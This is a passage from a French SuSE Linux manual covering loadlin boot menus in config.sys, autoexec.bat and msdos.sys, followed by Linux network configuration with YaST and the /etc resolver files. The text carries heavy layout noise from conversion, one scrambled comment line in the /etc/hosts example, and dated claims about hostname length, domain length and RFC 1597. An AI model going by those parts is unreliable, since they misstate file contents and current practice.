linux.par. Lorsque vous aurez plus tard construit votre propre noyau, vous le copierez à partir du système de fichiers Linux vers c :\loadlin\zimage et c'est désormais ce noyau qui sera lancé. En cas de besoin, vous devrez aussi y placer un initrd nouvellement généré. 4.9.2 Création de menus de démarrage Voici comment procéder pour créer un menu de démarrage sous DOS ou Windows 3.x : 144 ______________________________________________4.9.__Construire_un_mécanisme_d'amorçage_avec_loadlin_________________________* *______________________ 1. Vous devez tout d'abord définir un menu de démarrage dans le fichier c :\config.sys . Pour cela, faites des entrées analogues à celles du fichier 4.9.3. _______________________________________________________________________________________________________________________|| |||||||| [Menu] | |||||||| menuitem=Win, Démarrer Windows ... | |||||||| | |||||||| menuitem=DOS, Démarrer MS-DOS ... | |||||||| menuitem=Linux, Démarrer Linux ... | |||||||| | |||||||| menucolor=15,1 | |||||||| menudefault=Win,5 | ||||||||_______________________________________________________________________________________________________________ | fichier 4.9.3: Exemple pour config.sys (1ère partie) pour le lancement de Linux Sous le label [Menu] , vous définirez les entrées du menu de démarrage ainsi que sa couleur et vous préciserez au bout de combien de secondes quelle option du menu devra être automatiquement activée. 2. Plus bas, vous ajouterez les labels [Common] , [Win] , [DOS] et [Linux] . Pour Common, vous écrirez les entrées qui devront toujours être valables et pour les autres labels, les entrées qui ne seront valables que pour une option précise. Utilisez pour cela les lignes qui se trouvent dans votre config.sys|actuel. Le fichier 4.9.4 vous montre un exemple. | _______________________________________________________________________________________________________________________|||| |||||||| [Common] | |||||||| device=c:\dos\himem.sys /testmem:off | |||||||| | |||||||| device=c:\dos\emm386.exe noems | |||||||| dos=high,umb | |||||||| | |||||||| files=30 | |||||||| buffers=10 | |||||||| | |||||||| shell=c:\dos\command.com | |||||||| | |||||||| [Win] | |||||||| | |||||||| devicehigh=c:\dos\dblspace.sys /move | |||||||| devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C | |||||||| | |||||||| | |||||||| [DOS] | |||||||| | |||||||| devicehigh=c:\dos\dblspace.sys /move | |||||||| devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C | |||||||| | |||||||| | |||||||| [Linux] | |||||||| | |||||||| shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par | |||||||| | |||||||| | |||||||| [Common] | |||||||| rem Reste vide | ||||||||_______________________________________________________________________________________________________________ | fichier 4.9.4: Exemple pour config.sys (2ème partie) pour le lancement de Linux Stockez ensuite le fichier en mémoire. 3. Ouvrez maintenant le fichier c :\autoexec.bat . Dans ce fichier, vous devez écrire les mêmes labels et leur attribuer des entrées mais la notation * * 145 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ est quelque peu différente. Le label qui a été choisi dans le menu de | démarrage est inclus dans la variable %config%. Écrivez quelque chose * * | | qui sera peut-être similaire au contenu du fichier 4.9.5. * * | | * * | ________________________________________________________________________________________________________* *________|| | @echo off * * | | * * | | * * | | rem Entrées pour toutes les configurations * * | | switches= /f * * | | * * | | set comspec=c:\dos\command.com * * | | prompt $p$g * * | | * * | | loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys * * | | loadhigh c:\dos\doskey * * | | * * | | set temp=c:\temp * * | | loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H * * | | * * | | c:\logimaus\mouse.exe * * | | * * | | * * | | goto %config% * * | | * * | | :Win * * | | * * | | c:\dos\smartdrv.exe a- b- c+ 2048 1024 * * | | path c:\windows;c:\dos;c:\util; * * | | * * | | win * * | | c:\dos\smartdrv /C * * | | * * | | goto ende * * | | * * | | * * | | :DOS * * | | path c:\dos;c:\util; * * | | * * | | goto ende * * | | * * | | * * | | :ende * * | | echo * Au revoir * * * | |_______________________________________________________________________________________________________* *________ | fichier 4.9.5: Exemple pour autoexec.bat pour le lancement de Linux 4. Si vous amorcez maintenant votre machine, le menu de démarrage ap- paraît et vous avez 5 secondes pour sélectionner une entrée. Au bout de 5 secondes, Windows démarrera automatiquement. Si vous choisissez `Linux', Linux démarre et attend votre login. 4.9.3 Démarrage à partir de Windows Procédez ainsi afin de créer une icône de démarrage qui vous servira à amor- cer Linux à partir d'un système Windows 95 en cours d'exécution. 1. Cliquez dans le dossier c :\loadlin , marquez le fichier startlin.bat et sélectionnez `Copier' dans le menu `Édition'. 2. Passez maintenant dans un dossier ou sur un bureau, selon l'emplacement que vous avez prévu pour votre icône Linux. pressez le bouton droit de la souris et sélectionnez `Créer un lien'. 3. Marquez le lien qui vient d'être ajouté, pressez le bouton droit de la sou- ris et sélectionnez `Créer un lien'. Passez au registre `Programme', 146 ______________________________________________4.9.__Construire_un_mécanisme_d'amorçage_avec_loadlin_________________________* *______________________ cliquez en bas sur le bouton `Étendue'. Marquez d'une croix, dans le masque, le champ `Mode MS-DOS'. Validez avec `OK'. 4. À l'aide du bouton `Autre symbole', vous pouvez choisir une belle icône et donner au lien un nom adéquat. Vous avez maintenant terminé ! 5. Un double clic sur le nouveau symbole fait apparaître un masque qui confirme que Windows 95 s'efforce de passer en mode MS-DOS. Si ce masque vous énerve : désactivez-le dans les propriétés du lien. 4.9.4 Le menu de démarrage Windows Vous procéderez ainsi pour créer un menu de démarrage pour Windows 95 : 1. Vous devez tout d'abord éditer le fichier c :\msdos.sys . Pour cela vous le rendrez visible au moyen de C :> attrib -R -S -H c :\msdos.sys C'est un fichier texte auquel vous devrez ajouter quelques lignes pour activer le menu de démarrage propre à Windows 95. Sous le label [Options] , cela devrait avoir plus ou moins l'aspect du fichier 4.9.6. _______________________________________________________________________________________________________________________|| |||||||| [Options] | |||||||| BootGUI=0 | |||||||| | |||||||| BootDelay=0 | |||||||| BootMenu=0 | |||||||| | |||||||| Logo=0 | ||||||||_______________________________________________________________________________________________________________ | fichier 4.9.6: msdos.sys pour le lancement de Linux Le paramètre Logo=0 est optionnel et empêche Windows 95 de passer, avant l'amorçage, en mode graphique. L'amorçage se fait plus rapidement et vous aurez moins d'ennuis si vous voulez utiliser plus tard, sous Linux, l'émulateur DOS. Le paramètre BootGUI=0 amène Windows 95 à passer directement en mode DOS. Après avoir édité les fichiers, vous remettrez les attributs dans leur état d'origine. Pour que Windows démarre, l'entrée C :> win doit être faite à l'invite du DOS. Mais c'est ce que fait déjà notre fichier exemple c :\autoexec.bat si vous avez choisi Win95 dans le menu. 2. Vous devrez ensuite définir votre propre menu de démarrage dans le fi- chier c :\config.sys . Pour cela, vous pouvez mettre, par exemple au début du fichier, le contenu du fichier 4.9.7. _______________________________________________________________________________________________________________________|| |||||||| [Menu] | |||||||| menuitem=Win95, démarrer Windows 95 ... | |||||||| | |||||||| menuitem=DOS, démarrer MS-DOS ... | |||||||| menuitem=Linux, démarrer Linux ... | |||||||| | |||||||| menudefault=Win95,5 | ||||||||_______________________________________________________________________________________________________________ | fichier 4.9.7: Exemple pour config.sys (1ère partie) pour le lancement de Linux sous Windows 95 * * 147 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ Sous le label [Menu] , vous définirez les entrées du menu de démarrage et vous préciserez au bout de combien de secondes quelle option du menu devra être automatiquement activée. 3. Plus loin, en bas, se trouvent les labels [Win95] , [DOS] , [Linux] et [Common] . Pour [Common] , vous écrirez les entrées qui devront toujours être valables (sous Windows 95 elles sont peu nombreuses). Pour les autres labels, les entrées qui ne sont valables que pour une option précise du menu de démarrage. Utilisez pour cela les lignes qui se trouvent dans votre config.sys actuel. L'exemple donné dans le fichier 4.9.8 est une simple suggestion. ________________________________________________________________________________________________________* *________|||| | [Win95] * * | | dos=high,umb * * | | * * | | device=c:\windows\himem.sys /testmem:off * * | | * * | | * * | | [DOS] device=c:\plugplay\drivers\dos\dwcfgmg.sys * * | | dos=high,umb * * | | * * | | device=c:\windows\himem.sys /testmem:off * * | | device=c:\windows\emm386.exe noems I=B000-B7FF * * | | * * | | devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM * * | | * * | | * * | | [Linux] * * | | shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par * * | | * * | | * * | | [Common] * * | | accdate=C+ D+ H+ * * | | * * | | switches= /F buffers=20 * * | |_______________________________________________________________________________________________________* *________ | fichier 4.9.8: Exemple pour config.sys (2ème partie) pour le lancement de Linux sous Windows 95 Sauvegardez ensuite le fichier. 4. À présent, ouvrez le fichier c :\autoexec.bat . Dans ce fichier, vous devez écrire les mêmes labels et attribuer des entrées à ces labels. La notation est maintenant quelque peu différente. Le label qui a été choisi dans le menu de démarrage est inclus dans la variable %config%. Ecrivez quelque chose qui sera peut-être similaire au contenu du fichier 4.9.5 page 146. 5. Si vous amorcez maintenant votre machine, vous verrez apparaître votre propre menu de démarrage. Vous aurez 5 secondes pour faire votre choix. Ensuite Windows 95 démarrera automatiquement. Si vous sélectionnez `Linux', Linux démarre et attend votre login. 148 ______________________________________________4.9.__Construire_un_mécanisme_d'amorçage_avec_loadlin_________________________* *______________________ |||||||| | _______________________________________________________________________________________________________________________|||| |||||||| @echo off | |||||||| loadhigh keyb gr,,c:\windows\command\keyboard.sys | |||||||| | |||||||| goto %config% | |||||||| | |||||||| :Win95 | |||||||| | |||||||| win | |||||||| goto ende | |||||||| | |||||||| | |||||||| :DOS | |||||||| | |||||||| path c:.;d:.;c:\windows\command;c:\util; | |||||||| loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x | |||||||| | |||||||| loadhigh c:\windows\command\doskey | |||||||| c:\windows\command\mouse.exe | |||||||| | |||||||| goto ende | |||||||| | |||||||| | |||||||| :ende | |||||||| echo * Et maintenant? * | ||||||||_______________________________________________________________________________________________________________ | fichier 4.9.9: Exemple pour autoexec.bat pour le lancement de Linux sous Windows 95 * * 149 4. Amorçage et gestionnaires_d'amorçage___________________________________________________________________________________________* *_______________________________________@ 150 Troisième partie Configuration du réseau 151 Chapitre 5 En réseau avec Linux Remarques préliminaires sur les connexions réseau À notre époque qui est l'ère de la communication, le nombre de machines in- terconnectées s'est à ce point accru qu'il est de plus en plus rare de rencontrer un ordinateur isolé qui ne soit pas, au moins temporairement, relié à un ré- seau. Véritable enfant d'Internet, Linux remplit toutes les conditions requises pour jouer un rôle dans le domaine de la communication et fournit tous les outils nécessaires à une intégration dans des réseaux de diverses structures. Dans ce chapitre, nous allons vous donner un aperçu de toutes les opérations à effectuer pour l'établissement et le maintien d'une connexion réseau. Nous aborderons la question des fichiers centraux de configuration et nous vous présenterons les outils essentiels. Nous allons d'abord vous montrer comment intégrer une machine Linux dans un + LAN déjà existant et comment mettre en place un petit + réseau consti- tué de machines Linux. Nous parlerons ensuite de la connexion par modem à d'autres machines. Il vous sera expliqué comment établir une connexion Internet via PPP. Un paragraphe assez long est consacré à la configuration ISDN1 . Nous parlerons aussi de la configuration du système de mails et de news et pour conclure, nous vous présenterons un système de fax sous Linux. La quasi-totalité de la configuration réseau peut être effectuée avec YaST (voir paragraphe 3.6 page 100 et paragraphe 17.6 page 451). Mais comme la configuration d'un réseau peut devenir très complexe, nous décrirons aussi dans ce chapitre les mécanismes de base ainsi que les fichiers qui jouent un rôle essentiel dans la configuration du réseau. Et maintenant bon voisinage ~ la connexion au LAN Il n'est absolument pas problématique d'intégrer une machine Linux dans un LAN constitué de machines Unix parmi lesquelles il peut bien sûr aussi se trouver d'autres machines Linux. Il y a bien quelques conditions (peu nom- breuses) à remplir mais elles ne représentent pas une restriction fondamentale à l'utilisation de Linux dans un environnement réseau. 1 ____________________________________________________ N.d.l.T : dans le monde francophone RNIS. * * 153 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ Conditions et travaux préalables Linux supporte maintenant une palette très variée de cartes réseau ~ Ethernet, Arcnet, TokenRing ~ et connaît presque tous les protocoles réseau courants ~ TCP/IP, IPX, AppleTalk. Une description de toutes les configurations théo- riquement possibles dépasserait de loin le cadre de ce chapitre. Nous traite- rons donc le cas normal de l'intégration dans un réseau TCP/IP d'une ma- chine Linux dotée d'une carte Ethernet. Vous trouverez les dernières infor- mations concernant d'autres réseaux dans le répertoire /usr/src/linux/ Documentation des sources du noyau. La fonction d'aide vous fournit en outre, lors de la configuration du noyau, de précieuses informations complé- mentaires Les conditions suivantes doivent être remplies : ~ La machine doit disposer d'une carte réseau supportée. Vous pourrez voir que la carte a été reconnue correctement si la sortie de la commande terre:~ # /sbin/ifconfig contient une ligne commençant par eth0 : . ________________________________________________________________________________________________________* *________|||| | * * ||| | Si le noyau utilise un module pour le support de la carte réseau ~ * * ||| | c'est ainsi que les noyaux SuSE vous sont fournis de façon standard * * ||| | * * ||| | ~, le nom du module doit être inscrit sous forme d'alias dans le fichier * * ||| | /etc/modules.conf. Pour votre permière carte par exemple dans ce * * ||| | * * ||| | style : * * ||| | * * ||| | * * ||| | alias eth0 tulip * * ||| | * * ||| | * * ||| | Ceci aura lieu automatiquement si le support pour la carte réseau a été * * ||| | * * ||| | chargé sous Linuxrc durant la première installation. Par la suite, cette * * ||| | procédure pourra être effectuée à partir de YaST (voir paragraphe 3.6.1 * * ||| | * * ||| | page 100). * * ||| |_______________________________________________________________________________________________________* *________|||_ Ces conditions étant remplies, nous allons maintenant, avant de passer à la configuration du réseau, vous donner une explication succincte des termes employés dans le tableau 5.1 page 156. _______________________________________________________________________________________________________* *_________ Nom de ma- Nom d'hôte que la machine doit avoir dans le réseau, chine par exemple terre . Ce nom ne doit pas comporter plus de huit caractères et ne doit pas avoir déjà été attribué dans le réseau local. _______________________________________________________________________________________________________* *_________ Tab. 5.1: Continuer à la page suivante... 154 ______________________________________________________________________________________________5.__En_réseau_avec_Linux_________* *___________________ ______________________________________________________________________________________________________________________ Nom de do- Nom du domaine auquel doit appartenir la machine. maine Les domaines servent à la structuration de grands ré- seaux. On accède à une machine en spécifiant son nom de domaine pleinement qualifié (angl. fully qua- lified domain name (FQDN)). Celui-ci comprend le nom de la machine, le nom du domaine et le nom du domaine de premier niveau (angl. top-level domain). Ainsi, par exemple, terre.cosmos.univers est la machine terre dans le domaine cosmos.univers . Le domaine de premier niveau est constitué de quatre lettres au maximum. L'exemple pour un nom de do- maine pleinement qualifié est Nom de machine.Nom de domaine.Domaine de premier niveau. Adresse IP L'adresse de la machine dans le réseau. Toute ma- chine en réseau possède pour chaque interface réseau (par exemple carte réseau ou carte ISDN) au moins une adresse qui ne présente aucune ambiguïté dans le réseau. Selon la norme standard actuellement en vi- gueur, cette adresse est constituée par une séquence de quatre octets séparés normalement par des points ~ par exemple 192.168.0.20 . En choisissant des adresses IP, vous devez avoir pré- sent à l'esprit que le réseau local devra peut-être un jour être connecté à Internet. En prévision de cette éventualité, nous vous conseillons d'utiliser dès le dé- part des adresses IP enregistrées. Pour un réseau purement privé, le document de travail RFC 1597 prévoit trois zones d'adresses qui garan- tissent que même dans le cas où une connexion In- ternet serait établie par inadvertance il ne surviendra aucun problème car elles ne seront pas routées entre les systèmes Internet. Ces zones d'adresses sont : 10.0.0.0 ) 10.255.255.255 (Class A) 172.16.0.0 ) 172.31.255.255 (Class B) 192.168.0.0 ) 192.168.255.255 (Class C) Certaines adresses IP ne sont pas destinées à être at- tribuées à des machines. Elles ont des fonctions spé- ciales comme par exemple 192.168.0.0 qui est pré- vue pour le réseau lui-même et 192.168.0.255 qui est l'adresse de diffusion (angl. broadcast address) à utiliser pour le réseau. ______________________________________________________________________________________________________________________ Tab. 5.1: Continuer à la page suivante... * *155 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ Adresse de pas- Si vous avez dans votre réseau une machine faisant serelle office de passerelle (angl. gateway), c'est-à-dire une machine reliée à plus d'un réseau et qui se charge de la transmission de paquets dans le réseau étranger, vous pouvez indiquer son adresse lors de votre configura- tion réseau. Masque réseau À l'aide du masque réseau (angl. netmask), on détermine dans quel réseau on pourra trouver une adresse donnée. L'adresse IP de l'hôte est reliée au masque réseau par un ET logique ce qui provoque la suppression de la partie hôte de l'adresse, de telle sorte qu'il ne subsiste plus que l'adresse du réseau. 255.255.255.0 par exemple est un masque réseau typique. Adresse du ser- Les serveurs de noms mettent à disposition le ser- veur de noms vice DNS, (angl. Domain Name Service) par lequel les noms de machines sont convertis en adresses IP. Ainsi, par exemple, on associe à la machine terre l'adresse IP 192.168.0.20 . Si vous avez accès par le réseau à un serveur de noms que vous souhaitez utiliser, vous devez spécifier son adresse lors de la configuration de votre réseau. _______________________________________________________________________________________________________* *_________ Tab. 5.1: Paramètres pour la configuration du réseau 5.1 Configuration à l'aide de YaST Vous pouvez maintenant effectuer la configuration des logiciels réseau avec YaST . Tenez compte, pour cette procédure, des points mentionnés au para- graphe 25 page 154. 1. Connectez-vous en tant qu'utilisateur `root'. 2. Lancez YaST et passez au menu `Administration du système', `Configuration de base du réseau'. 3. Choisissez un `numéro' disponible, par exemple 0 . 4. Choisissez,_ comme périphérique, `Ethernet' en appuyant sur la touche |F___|5et quittez le masque en activant le bouton `Continuer'. 5. Appuyez sur la touche |F___|_6(`Adresse IP') et spécifiez l'adresse IP de la machine, par exemple 192.168.0.20 . Ensuite, vous devrez spécifier le masque réseau. Pour un réseau de classe C (jusqu'à 254 machines dans un sous-réseau) il s'agit normalement de 255.255.255.0 . S'il n'y a pas de machine passerelle dans le réseau, il n'y aura rien à spécifier ici ; voir la figure 5.1 page suivante. 6. Quittez le masque en activant le bouton `Continuer'. 7. Activez le périphérique réseau avec |F___|_4. 156 ____________________________________________________________________________5.1.__Configuration_à_l'aide_de_YaST___________* *_______________________ Fig. 5.1: Configuration réseau avec YaST 8. En appuyant sur |_____|F10, vous pouvez sauvegarder la configuration. Avec ||______|Échap, vous pouvez quitter le masque sans faire enregistrer les modifica- tions. 9. Dans le menu `Changer les noms des machines', vous pouvez donner un nom à votre machine ou changer un nom de machine déjà existant. Dans le masque du menu, il sera également spécifié le nom du domaine auquel devra appartenir la machine. 10. Sous l'option `Configurer les services réseau', vous pouvez dé- terminer si le démon inetd , le programme portmap et le serveur NFS doivent être lancés. Vous pouvez aussi définir le nom de machine et le nom de domaine qui devront figurer dans la ligne ``From'' lors du postage d'articles USENET. ~ Le démon inetd est nécessaire pour démarrer en cas de nécessité cer- tains services réseau (par exemple telnet, finger, ftp etc.). inetd de- vrait toujours être lancé au moment du démarrage du système, si- non de nombreux services ne seront pas disponibles. Si votre système est exposé à certains risques, observez soigneusement les instructions concernant la sécurité au paragraphe 18.2.2 page 475 . ~ Le portmapper portmap doit toujours être lancé lors du démarrage de votre système si votre machine doit faire office de serveur NFS ou si NIS doit être utilisé. Si vous avez décidé de lancer le portmapper, il vous sera ensuite demandé si le serveur NFS doit aussi être démarré. 11. Dans le menu `Configuration du serveur de noms', vous pouvez configurer l'accès à un ou plusieurs serveurs de noms. Il est possible de spécifier jusqu'à trois adresses IP séparées par des espaces. 12. L'option du menu `Configurer sendmail' vous permet de procéder à la configuration du paquetage sendmail . Vous trouverez une description détaillée de la configuration de sendmail au paragraphe 6.8 page 205. En plus de tout cela, vous pouvez aussi entrer un grand nombre d'autres para- mètres directement dans le fichier central de configuration /etc/rc.config. Ici aussi vous serez assisté par YaST (voir paragraphe 17.6 page 451). * * 157 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ Votre configuration réseau est ainsi terminée. YaST lance SuSEconfig et fait enregistrer toutes vos spécifications dans les fichiers correspondants (voir paragraphe 5.2). Pour que les paramètres soient pris en compte, vous devrez reconfigurer les programmes concernés et relancer les démons nécessaires. Vous pouvez le faire en tapant la commande terre:~ # rcnetwork restart (voir aussi chapitre 17 page 445). 5.2 Configuration manuelle du réseau ~ où trouver quoi ? La configuration manuelle des logiciels réseau devrait toujours être considé- rée comme un pis-aller. Il est préférable d'utiliser YaST . Mais comme YaST ne couvre pas la totalité des logiciels réseau, il peut s'avérer nécessaire, dans certains cas, de fignoler le travail à la main. 5.2.1 Fichiers de configuration Ce paragraphe donne une vue d'ensemble des fichiers de configuration réseau et décrit leur fonction ainsi que le format utilisé. /etc/rc.config C'est dans ce fichier central de configuration (voir paragraphe 17.5 page 450) que l'on procède à la plus grande partie de la configuration réseau. Si des modifications sont effectuées à l'aide de YaST ou si vous lancez SuSEconfig après avoir modifié manuellement ce fichier, les en- trées qui ont été faites serviront à générer automatiquement la plupart des fichiers énumérés ci-dessous. Même les scripts de démarrage sont configurés au moyen des paramètres contenus dans ce fichier. ________________________________________________________________________________________________________* *________|| | Si vous modifiez ce fichier à la main, vous devez toujours ensuite invoquer * * |||| | SuSEconfig afin que la configuration modifiée soit enregistrée automati- * * ||| | * * ||| | quement dans les fichiers appropriés. * * ||| |_______________________________________________________________________________________________________* *________|||_ /etc/hosts C'est dans ce fichier (voir fichier 5.2.1 page ci-contre) que les adresses IP sont associées aux noms de machines. S'il n'est pas utilisé de serveur de noms, toutes les machines avec lesquelles une liaison IP doit être établie devront être mentionnées ici. Pour chaque machine, il sera inséré dans le fichier une ligne constituée par l'adresse IP, le nom d'hôte pleinement qualifié et le nom de la machine, par exemple terre . L'adresse IP doit se trouver en début de ligne et les entrées doivent être séparées par des espaces ou des tabulations. Les lignes de commentaires sont introduites par le caractère `#'. /etc/networks Ici, les noms de réseaux sont convertis en adresses de réseaux. Le format est semblable à celui du fichier hosts, à cette différence près que les noms de réseaux sont placés ici devant les adresses (voir fichier 5.2.2 page suivante). 158 _________________________________________5.2.__Configuration_manuelle_du_réseau_~_où_trouver_quoi_?_______________________________* *________________ _______________________________________________________________________________________________________________________|| |||||||| # | |||||||||## hosts Thismafileppdescribesinagsnumberfoofr hostname-to-addressthe TCP/IP subsystem. It is |mostly| |||||||| # used at boot time, when no name servers are running. | |||||||| | |||||||| # On small systems, this file can be used instead of a | |||||||| # "named" name server. Just add the names, addresses | |||||||| # and any aliases to this file... | |||||||| # | |||||||| | |||||||| 127.0.0.1 localhost | |||||||| 192.168.0.1 soleil.cosmos.univers soleil | |||||||| 192.168.0.20 terre.cosmos.univers terre | |||||||| # End of hosts | ||||||||_______________________________________________________________________________________________________________ | fichier 5.2.1: /etc/hosts _______________________________________________________________________________________________________________________|| |||||||| # | |||||||| # networks This file describes a number of netname-to-address | |||||||| # mappings for the TCP/IP subsystem. It is mostly | |||||||| # used at boot time, when no name servers are running. | |||||||| | |||||||| # | |||||||| loopback 127.0.0.0 | |||||||| localnet 192.168.0.0 | |||||||| # End of networks. | ||||||||_______________________________________________________________________________________________________________ | fichier 5.2.2: /etc/networks _____________________________________________________________________________________________________________ order hosts, bind Détermine l'ordre dans lequel on doit faire appel aux services pour la résolu- tion d'un nom. Arguments possibles : hosts : Recherche dans le fichier /etc/ hosts bind : Accès à un serveur de noms multi on/off Détermine si une machine enregistrée dans /etc/hosts peut avoir plusieurs adresses IP. nospoof on Ces paramètres agissent sur les accès alert on/off non autorisés (angl. spoofing) au serveur de noms mais n'ont aucune autre in- fluence sur la configuration réseau. trim Le nom du domaine est séparé du nom d'hôte de la machine avant que celui- ci ne soit résolu (dans la mesure où le nom de machine contient ce nom de do- maine). Cette option est utile lorsque le fichier /etc/hosts ne contient que des noms provenant du domaine local qui doivent être reconnus même lorsqu'ils sont complétés par le nom du domaine. _____________________________________________________________________________________________________________ Tab. 5.2: Paramètres pour /etc/host.conf 159 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ /etc/host.conf La résolution de noms ~ c'est-à-dire la conversion de noms de machines ou de réseaux par la bibliothèque resolver ~ est pilotée à l'aide de ce fichier. Il est possible de régler différents paramètres, chacun d'entre eux devant se trouver dans sa propre ligne. Les commentaires sont introduits par le caractère `#'. Le tableau 5.2 page précédente vous montre les paramètres qu'il est possible d'utiliser. Le fichier 5.2.3. nous montre un exemple pour /etc/host.conf ________________________________________________________________________________________________________* *________|| | # * * | | # /etc/host.conf * * | | * * | | # * * | | # We have named running * * | | * * | | order hosts bind * * | | # Allow multiple addrs * * | | * * | | multi on * * | | # End of host.conf * * | |_______________________________________________________________________________________________________* *________ | fichier 5.2.3: /etc/host.conf /etc/nsswitch.conf Avec la version 2.0 de la bibliothèque C de GNU, le ``Name Service Swit- ch'' (NSS) a fait son apparition (voir la page de man de nsswitch.conf (man 5 nsswitch.conf ) et pour plus de détails The GNU C Library Reference Manual, chapitre "System Databases and Name Service Switch" 2 ). Le fichier /etc/nsswitch.conf détermine l'ordre dans lequel certaines informations seront recherchées. Le fichier 5.2.4 page 162 vous montre un exemple pour nsswitch.conf. Les commentaires sont introduits ici par le caractère `#'. Dans ce fichier, l'entrée /etc/hosts:, par exemple, a pour résultat qu'il sera d'abord recherché dans le fichier /etc/hosts (mot-clé files ) avant que le service de noms (mot-clé dns ) ne soit inter- rogé. /etc/hosts: désigne ici une ``base de données'' au sens de NSS. Les ``bases de données'' disponibles via NSS sont énumérées dans le tableau 5.3 page suivante. On peut en plus attendre pour l'avenir automount , bootparams , netmasks et publickey . ____________________________________________________________________________________________________* *______ aliases Alias de mail, utilisée par sendmail(8) ; voir page de man de aliases (man 5 aliases ). ethers Adresses Ethernet. group Pour groupes d'utilisateurs, utilisée par getgrent(3) ; voir page de man de group (man 5 group ). hosts Pour noms d'hôtes et adresses IP, utilisée par gethostbyname(3) et fonctions similaires. ____________________________________________________________________________________________________* *______ ___________________________Tab._5.3:_Continuer_à la page suivante... 2 paquetage libcinfo, série doc. 160 _________________________________________5.2.__Configuration_manuelle_du_réseau_~_où_trouver_quoi_?_________________________* *______________________ _____________________________________________________________________________________________________________ netgroup Liste d'hôtes et d'utilisateurs valide dans le réseau et permettant de régler les droits d'accès ; voir page de man de netgroup (man 5 netgroup ). networks Noms et adresses réseau, utilisée par getnetent(3). passwd Mots de passe, utilisée par getpwent(3) ; voir page de man de passwd (man 5 passwd ). protocols Protocoles réseau, utilisée par getprotoent(3) ; voir page de man de protocols (man 5 protocols ). rpc Noms et adresses pour ``Remote Procedure Call'', uti- lisée par getrpcbyname(3) et fonctions similaires. services Services réseau, utilisée par getservent(3). shadow Mots de passe ``shadow'', utilisée par getspnam(3) ; voir page de man de shadow (man 5 shadow ). _____________________________________________________________________________________________________________ Tab. 5.3: ``Bases de données'' disponibles via /etc/nsswitch.conf Les possibilités de configuration de la ``base de données'' NSS sont pré- sentées dans le tableau 5.4. _____________________________________________________________________________________________________________ files accès direct aux fichiers, par exemple à /etc/ aliases. db accès par le biais d'une base de données. nis NIS , voir paragraphe 5.4 page 165. nisplus dns utilisable comme extension seulement pour hosts et networks . compat utilisable comme extension seulement pour passwd , shadow et group . en plus il est possible de déclencher différentes réactions à certains résultats obtenus par la recherche. Vous trou- verez des détails à ce sujet dans la page de man de nsswitch.conf (man 5 nsswitch.conf ). _____________________________________________________________________________________________________________ Tab. 5.4: Possibilités de configuration des ``bases de données'' NSS /etc/nscd.conf C'est par ce fichier que nscd (angl. Name Service Cache Daemon) est configuré. Voir la page de man de nscd (man 8 nscd ) et la page de man de nscd.conf (man 5 nscd.conf ). Ceci concerne les informations de passwd , groups et hosts . Le démon doit être relancé si par exemple la résolution des noms (DNS) est changée par la modification du fichier /etc/resolv.conf. On utilise pour cela la commande : * * 161 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | # * * | | * * | | # /etc/nsswitch.conf * * | | # * * | | passwd: compat * * | | * * | | group: compat * * | | * * | | * * | | hosts: files dns * * | | networks: files dns * * | | * * | | * * | | services: db files * * | | * * | | protocols: db files * * | | * * | | * * | | netgroup: files * * | | * * | |_______________________________________________________________________________________________________* *________ | fichier 5.2.4: /etc/nsswitch.conf terre: # /sbin/init.d/nscd restart ________________________________________________________________________________________________________* *________|| | Lorsque par exemple le cache pour passwd est activé, il faut attendre en * * |||| | général 15 secondes avant qu'un nouvel utilisateur local soit connu du * * ||| | * * ||| | système. Il est possible de réduire ce temps en relançant nscd . * * ||| |_______________________________________________________________________________________________________* *________|||_ /etc/resolv.conf Tout comme le fichier /etc/host.conf, ce fichier a un rôle à jouer dans la résolution des noms de machines par la bibliothèque resolver. On spécifie ici le domaine auquel la machine appartient (mot-clé search ) ainsi que l'adresse du serveur de noms (mot-clé nameserver ) qui doit être utilisé. Il est possible d'indiquer plusieurs noms de domaines. Lors de la résolution d'un nom qui n'est pas pleinement qualifié, on essaie, par l'ajout des différentes entrées dans search , de créer un nom valide complet. On peut faire connaître plusieurs serveurs de noms à l'aide de plusieurs lignes commençant par nameserver . Ici aussi les lignes de commentaires sont introduites par le caractère `#'. Un exemple pour /etc/resolv.conf vous est montré dans le fi- chier 5.2.5. ________________________________________________________________________________________________________* *________|| | # /etc/resolv.conf * * | | * * | | # * * | | # Our domain * * | | * * | | search cosmos.univers * * | | # * * | | * * | | # We use soleil (192.168.0.1) as nameserver * * | | nameserver 192.168.0.1 * * | | # End of resolv.conf * * | |_______________________________________________________________________________________________________* *________ | fichier 5.2.5: /etc/resolv.conf YaST (voir paragraphe 5.1 page 156) inscrit ici le serveur de noms qui a été spécifié ! 162 _________________________________________5.2.__Configuration_manuelle_du_réseau_~_où_trouver_quoi_?_________________________* *______________________ /etc/HOSTNAME On trouve ici le nom de la machine, c'est-à-dire le nom d'hôte sans le nom de domaine. Ce fichier est lu par différents scripts lors du démarrage de la machine. Il ne doit contenir qu'une seule ligne mentionnant le nom de la machine ! Ce fichier est également généré automatiquement avec les paramètres contenus dans /etc/rc.config. 5.2.2 Scripts de démarrage En plus des fichiers de configuration décrits plus haut, il existe aussi différents scripts qui lancent les programmes réseau au moment du démarrage de la ma- chine. Ces scripts démarrent dès que le système passe dans l'un des niveaux d'exécution multiutilisateurs (angl. multiuser-runlevel) (voir tableau 5.5). ______________________________________________________________________________________________________________________ /sbin/init.d/network Ce script se charge de la configuration du matériel et des logiciels réseau pen- dant la phase de démarrage du système en tenant compte des entrées faites par YaST (voir paragraphe 5.1 page 156) dans 